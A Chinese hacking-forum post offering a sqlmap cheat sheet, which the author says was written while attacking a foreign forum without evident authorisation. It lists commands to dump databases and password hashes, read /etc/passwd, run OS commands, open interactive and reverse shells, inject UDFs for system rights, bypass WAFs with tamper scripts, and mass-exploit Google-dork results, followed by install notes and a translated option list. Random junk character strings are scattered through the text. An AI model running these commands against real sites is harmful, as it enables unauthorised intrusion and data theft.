中国网络渗透测试联盟

标题: sqlmap注入命令的使用方法 [打印本页]

作者: admin    时间: 2013-4-4 22:26
标题: sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、! W8 G* o0 h# K! p& v0 z
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称" @/ L! T. U7 M- ^6 Q
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名1 g" R7 {0 o* `" O7 R
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
! J6 a- K, N* Y
! k: j( h1 c8 E8 [, w5 xsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v! R7 O  O/ j( w* C' ^, l
0 #获取字段内容& [! G7 L. ?* |

3 B4 j# D0 T" O' _& B, y******************信息获取******************
; u7 f0 V& c9 T6 }0 i  Q' K$ qsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
: Q3 }: b2 a$ X( W9 v* c/ isqlmap -u “http://url/news?id=1″ –users #列数据库用户
: {* _9 ~( J; c) c4 ]5 ?sqlmap -u “http://url/news?id=1″ –dbs#列数据库
' s9 `3 l6 Y- csqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
1 \* A2 _  k  d' v# Gsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
( t4 x/ l8 d  e+ ssqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
" z1 b* \' x" J& q–start 1 –stop 20 #列出指定字段,列出20 条& t8 B+ z/ m: Y6 A+ V" C
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表( _9 N  ~- v& _1 [
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
3 M  v* v& _+ w* C* n; d1 i% zsqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
. l8 s6 T' F& X+ F; n9 {! Lsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)0 ^* `" a/ d- T' [6 a5 b6 R' f5 ~
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
; O. X! @0 g9 f. e; U, a0 Zsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录* _3 E3 N; A- W/ K$ f1 I# K
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入3 B; K' o( |! @4 J* C  b' p
sqlmap -u “http://url/news?id=1″-b #获取banner信息
3 T+ w6 M6 Y9 ~+ ?sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
7 z3 t) z* f6 esqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
, F7 ~2 p$ {! L* i5 J8 Zsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入. q5 U0 [( T7 F7 E
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
4 \6 z! Y! I# m" ]sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
4 R+ i3 z6 u0 r' Isqlmap -u “http://url/news?id=1″ –file /etc/passwd7 ~& E% @3 S( v$ L3 c/ v
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
% ^1 d+ s2 i  qsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
8 f7 j' Y9 q- N: bsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
( g9 j' g* X% Rsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度9 t( G7 P6 O8 x4 r9 l
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
7 h+ ~6 l5 h" B' \$ Q0 S***********高级用法*************
  O, ?1 R4 O+ q* P6 W-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
5 s; y: X3 t3 h, m: l- _4 Lsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
# B; x/ f: l3 c1 J+ q–technique   测试指定注入类型\使用的技术+ k& H: o; y0 X+ b# R! T
不加参数默认测试所有注入技术
' ?4 R$ _( C+ |. q! h' s•     B: 基于布尔的SQL 盲注
- H- `( z6 g. E/ u% d•     E: 基于显错sql 注入
3 [9 a  J. y" s& Z. ]" o, n, z•     U: 基于UNION 注入
% q  K' N& B' K( ^9 F- n- a9 W0 P) r•     S: 叠层sql 注入
+ n) o" Q- J/ k* I•     T: 基于时间盲注' O' F# h$ @8 |/ ?3 o; J. N; p
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
0 q4 S2 }+ @/ h: \* }! f8 Z5 T- w–tamper 插件所在目录, a% F# J6 R" x# n% l
\sqlmap-dev\tamper5 b, n1 e: a' V* G- {9 h% n7 E
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
; ?  j: s  G. H8 Z  R6 h" mlevel 执行测试等级 攻击实例:
, D8 \4 e* x3 O$ c; ~/ aSqlmap -u “http://url/news?id=1&Submit=Submit”
/ N: `8 f" C% @. I' b–cookie=”PHPSESSID=41aa833e6d0d
% Z3 [! f% H) ^* l28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
" y% Q/ b; n3 W8 a0 X( R3 c–password6 g  {! E: `8 p+ l5 l; y
参考文档:http://sqlmap.sourceforge.net/doc/README.html1 h2 j5 j% C- R+ ~* E& o
***********安装最新版本*************8 m$ j) M! Z! p8 E
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
0 v) H) `% u* b) `- ^sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev2 A2 r. P: a- u* e
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件2 p$ ]$ p- i* I! E: j8 l+ a
sudo vim /home/当前用户/.bashrc
5 x  R5 s/ c$ y. I#任意位置加上:$ Z. Y+ \  i1 N8 D; }( Y' v
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
6 N2 {3 t) R; x  @. \/ O. O& n: F/ P如果想对所有用户有效 可设置全局 编辑下面的文件( [9 c6 v7 c* d. X' H+ ]/ f$ u, D
vim /etc/profile  Q+ D5 g3 B. D+ b
同样加上:9 M" g+ t# |" B' o3 w
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效  o/ \2 t; ^# E: g1 _1 p
******************windows 7 (x64) sqlmap install (SVN)************
- |; [0 \& T- G$ ^http://www.python.org/getit/ 安装python
! W$ E! [2 ]% U( Z3 ~http://www.sliksvn.com/en/download 安装windows svn client
! k6 w3 z, o$ ?5 N+ Usvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev7 Y& a( w* A! z3 C6 a
安装sqlmap
$ b: h# k; v0 r1 W*修改环境变量
3 S: F" p" K* }) ^& |$ E–version             显示程序的版本号并退出! @0 A' z! {) w6 X. W
-h, –help            显示此帮助消息并退出
7 A5 i# ]- c  N4 j- n-v VERBOSE            详细级别:0-6(默认为1)- V1 ], d& `6 {! K: c4 R
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
* ?  ]" ]* W! Z+ o-d DIRECT           直接连接到数据库。5 h, f" l' Q3 c1 ]
-u URL, –url=URL   目标URL。
% A! D3 I( i  c) a7 d-l LIST             从Burp 或WebScarab 代理的日志中解析目标。; ?0 \: T: \3 K
-r REQUESTFILE      从一个文件中载入HTTP 请求。3 o( o# v( x9 V/ j
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
, y5 m3 h1 G, I. O: {: F" }-c CONFIGFILE       从INI 配置文件中加载选项。
* m2 B: X7 }7 ]6 BRequest(请求)::% P# N2 l8 Q; D9 b9 s1 [
这些选项可以用来指定如何连接到目标URL。
! a, @0 ~6 r4 _) m/ m–data=DATA         通过POST 发送的数据字符串& X% f- h# X2 d' n4 D# u# W" i
–cookie=COOKIE     HTTP Cookie 头% z" U% ?% c' A  J6 P5 {7 p
–cookie-urlencode  URL 编码生成的cookie 注入
  a7 l5 m+ N9 c' t$ ?5 Z$ t) L–drop-set-cookie   忽略响应的Set –Cookie 头信息
# R' U8 x$ B3 A! f3 _; }' m2 D& Z 1 o0 b& @2 ~+ k% Q7 _( E
–user-agent=AGENT  指定  HTTP User –Agent 头+ \- h3 M$ u: [3 @5 \' Z
–random-agent      使用随机选定的HTTP User –Agent 头5 g" x% z0 o6 z' D% s
–referer=REFERER   指定  HTTP Referer 头9 N, T6 ^/ ^, {
–headers=HEADERS   换行分开,加入其他的HTTP 头
. {$ G& q0 y7 d* p9 l+ \–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)/ m- j( E2 b1 h7 z& p$ Q
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
# |" z# R" U  g1 d# J( N/ y–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)# s, v& |  \$ x, K4 p  U
–proxy=PROXY       使用HTTP 代理连接到目标URL
! S4 U. t3 c( C6 E2 @–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
( S+ Z9 `. f- I8 a–ignore-proxy      忽略系统默认的HTTP 代理
$ w, |+ q+ f- W) d–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
2 {9 i# O# f7 C5 \% s& @3 g–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
- Z6 {* G: F9 H" r# x. K–retries=RETRIES   连接超时后重新连接的时间(默认3)
3 ]! B8 N5 p4 y4 i6 ^9 ^& Q# h–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式! X0 a! q+ ^  }3 g
–safe-url=SAFURL   在测试过程中经常访问的url 地址" y' Y7 j: V. n; {" ], ?0 F
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL( X2 q. g2 D  V6 L
Optimization(优化): 这些选项可用于优化SqlMap 的性能。# ^6 X2 f1 A5 x2 j# Q8 V$ r
-o                  开启所有优化开关7 j2 f0 b9 y; I/ y
–predict-output    预测常见的查询输出& ]( H4 S) a. v( W6 A
–keep-alive        使用持久的HTTP(S)连接
) [1 p( R& S3 B–null-connection   从没有实际的HTTP 响应体中检索页面长度
' z: V3 O& D9 }  I–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)5 o1 M( `+ B: w6 o
Injection(注入):* [( U; n/ Z+ U/ Q5 X
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
' b+ L3 o: m. V/ W-p TESTPARAMETER    可测试的参数(S)
# E4 `! E4 x/ Y! R! F( p! g5 j/ p8 k–dbms=DBMS         强制后端的DBMS 为此值' v) L- @1 s0 y- i1 |! |# G
–os=OS             强制后端的DBMS 操作系统为这个值
$ w- x# f4 ^& @7 H, v8 u$ a–prefix=PREFIX     注入payload 字符串前缀
4 a: R3 @+ L2 M+ P4 N–suffix=SUFFIX     注入 payload 字符串后缀8 o# Y: l7 V$ Q9 F. H
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据. x7 {5 H  M- ]( k
Detection(检测):
& o8 b  M+ t0 ~: E& r这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。9 P# |! O8 A% S5 ~. A" J1 ?
–level=LEVEL       执行测试的等级(1-5,默认为1)
5 W. b8 L  X: N–risk=RISK         执行测试的风险(0-3,默认为1)
9 p( t4 \, T; C) U/ c–string=STRING     查询时有效时在页面匹配字符串
& Y# g( K6 f4 S–regexp=REGEXP     查询时有效时在页面匹配正则表达式
1 _( o. T, D5 H: A, v7 t3 K" W2 o–text-only         仅基于在文本内容比较网页
9 s. L  l% h0 E- B2 }  a9 ]Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。5 a6 N( a. `! T3 A5 N
–technique=TECH    SQL 注入技术测试(默认BEUST)# W$ H" o6 }6 e# g
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)4 T! }5 B" K4 s& K
–union-cols=UCOLS  定列范围用于测试UNION 查询注入3 ~0 N" _+ D+ w" n
–union-char=UCHAR  用于暴力猜解列数的字符
( y% b* o5 N/ i  JFingerprint(指纹):/ N/ r2 F6 h( z* x* {
-f, –fingerprint     执行检查广泛的DBMS 版本指纹& X( s$ `- t, L( i$ G" \- t! `6 z
Enumeration(枚举):3 t( G) I, Z+ |3 R9 P3 n
7 Z4 H' n/ e7 ?- ~9 ^
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。9 ?8 ~4 J/ i( H: O. ^0 N
-b, –banner        检索数据库管理系统的标识2 T8 V- _8 v, V& _
–current-user      检索数据库管理系统当前用户
: [6 f% I5 L* e–current-db        检索数据库管理系统当前数据库
; F2 d' e6 J# w; Y9 f& ]4 U–is-dba            检测DBMS 当前用户是否DBA
" D: J5 P1 C/ v& t! R–users             枚举数据库管理系统用户0 v: [+ j$ J* g
–passwords         枚举数据库管理系统用户密码哈希
$ r1 q; `3 X2 _& m, _–privileges        枚举数据库管理系统用户的权限
- r+ Q# }% ~* Y% O8 b5 v5 L–roles             枚举数据库管理系统用户的角色# T0 B7 u  M% |+ ^. H* s5 K
–dbs               枚举数据库管理系统数据库$ ]. E5 d- X& f  H4 `+ g! A
–tables            枚举的DBMS 数据库中的表6 L$ [3 d# n* U, b8 e9 q$ N7 X
–columns           枚举DBMS 数据库表列. a$ o7 G6 K3 n8 F% ?- z
–dump              转储数据库管理系统的数据库中的表项
, F3 _, x  {1 w- A5 g  _–dump-all          转储所有的DBMS 数据库表中的条目% y4 }+ t5 W: {0 _. S2 V
–search            搜索列(S),表(S)和/或数据库名称(S)1 C  \$ H4 X* E: F' ^
-D DB               要进行枚举的数据库名
$ R( z& W  {1 S, u2 D-T TBL              要进行枚举的数据库表
9 |, u  m* u  h-C COL              要进行枚举的数据库列
: W8 J3 E4 Y5 ^, M" ^4 k3 N8 i3 ?-U USER             用来进行枚举的数据库用户% Q2 ]8 t0 o3 i& h2 T
–exclude-sysdbs    枚举表时排除系统数据库8 B: y0 e# R- f) a' I) W
–start=LIMITSTART  第一个查询输出进入检索( t0 i1 t  g0 C7 |8 n, z2 w
–stop=LIMITSTOP    最后查询的输出进入检索$ B$ V% c9 L' E) D  Q
–first=FIRSTCHAR   第一个查询输出字的字符检索. O) z" p" {4 M
–last=LASTCHAR     最后查询的输出字字符检索
  A: ^' ^; e6 h$ [–sql-query=QUERY   要执行的SQL 语句( B, o+ n% g6 G% G8 L, S
–sql-shell         提示交互式SQL 的shell
4 n5 `$ t; f( K& m) fBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
5 O( f( o# ~. k6 }; ?- J& O–common-tables     检查存在共同表' J" F( L3 W; f2 O  O  d
–common-columns    检查存在共同列
& s" K+ H" x- E: Z/ K7 aUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。; h) O$ ~( U$ U! Z1 F% `* ^
–udf-inject        注入用户自定义函数
9 x! S3 g2 T. K( |" [3 e7 I. `% [–shared-lib=SHLIB  共享库的本地路径0 u6 p4 |7 `$ {$ _) `
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
3 t+ B! g/ a! _5 J% N0 a8 |1 a  m–file-read=RFILE   从后端的数据库管理系统文件系统读取文件+ h* Z. [/ F7 E- S1 H
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
+ q; |, S  G% l) ?) t% l–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
# `( J$ J" O& U4 F' l# jOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
: }* [+ ?: O. C- C. b, ?–os-cmd=OSCMD      执行操作系统命令# A7 \( ]6 H0 s5 r% ?: d
–os-shell          交互式的操作系统的shell
9 Z4 {3 a8 X! I–os-pwn            获取一个OOB shell,meterpreter 或VNC5 d( c$ ^1 P8 Z0 q
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
6 e7 A  x; o  T$ P4 O–os-bof            存储过程缓冲区溢出利用9 a: b( x8 Y$ r7 D& i/ ]8 T. W: i7 c
–priv-esc          数据库进程用户权限提升+ q* O% x( \9 S. c; r7 v) x! e
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径* c. @; u/ H9 h9 F% s6 S' y
–tmp-path=TMPPATH  远程临时文件目录的绝对路径# Q) d' \1 h' D& a

+ E2 S8 |( O! o" bWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
9 Z; Z( d7 I) R7 S- [; p–reg-read          读一个Windows 注册表项值
0 v  t  j3 a% b* C0 X0 x5 Q; z–reg-add           写一个Windows 注册表项值数据
5 S( M  z) ~. U. g9 ]* k–reg-del           删除Windows 注册表键值# I' e6 q- P. N$ H/ \
–reg-key=REGKEY    Windows 注册表键
( T4 [  D7 l( o8 P8 N–reg-value=REGVAL  Windows 注册表项值$ B% s. H' i$ j4 }, s
–reg-data=REGDATA  Windows 注册表键值数据5 t0 q5 E% g1 ?5 A1 x& b
–reg-type=REGTYPE  Windows 注册表项值类型1 Z9 j! T1 V! B, _8 W  G# E
General(一般): 这些选项可以用来设置一些一般的工作参数。
. E' d( @+ j. e1 ?; q2 m4 z-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
/ Y% O" {# v4 \( K' _4 d3 W9 V-s SESSIONFILE      保存和恢复检索会话文件的所有数据% t2 @4 z- x6 Z
–flush-session     刷新当前目标的会话文件
' K8 _4 `& Y5 Q  g–fresh-queries     忽略在会话文件中存储的查询结果
4 f( R9 t0 K$ w–eta               显示每个输出的预计到达时间
% t& c$ M6 D* n0 ?: R  n–update            更新SqlMap
. \/ a$ }- |" d/ r2 ?–save              file 保存选项到INI 配置文件
/ ~+ l0 v( u  @  H" W–batch             从不询问用户输入,使用所有默认配置。* {) k7 o1 r4 g& J, v
Miscellaneous(杂项):: j" V0 M7 T* g7 ~+ x( h# q
–beep              发现SQL 注入时提醒' }5 I- k8 \8 w5 v, p
–check-payload     IDS 对注入payloads 的检测测试$ l/ N; F- s- g3 D2 R5 K9 h
–cleanup           SqlMap 具体的UDF 和表清理DBMS
% b) g" B* ?3 K3 S* E# f2 L–forms             对目标URL 的解析和测试形式
  l% _# {7 Z6 p3 O–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果1 h9 u$ `1 F2 z! s! S6 Z
–page-rank         Google dork 结果显示网页排名(PR)
1 x' S' L9 r+ S3 C4 r$ J–parse-errors      从响应页面解析数据库管理系统的错误消息
- L7 N: d9 i! }2 n* S  b/ s' A–replicate         复制转储的数据到一个sqlite3 数据库
5 v% K6 M, t0 K8 L" b4 ~–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址0 `4 G) z  x' c  V; o
–wizard            给初级用户的简单向导界面




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2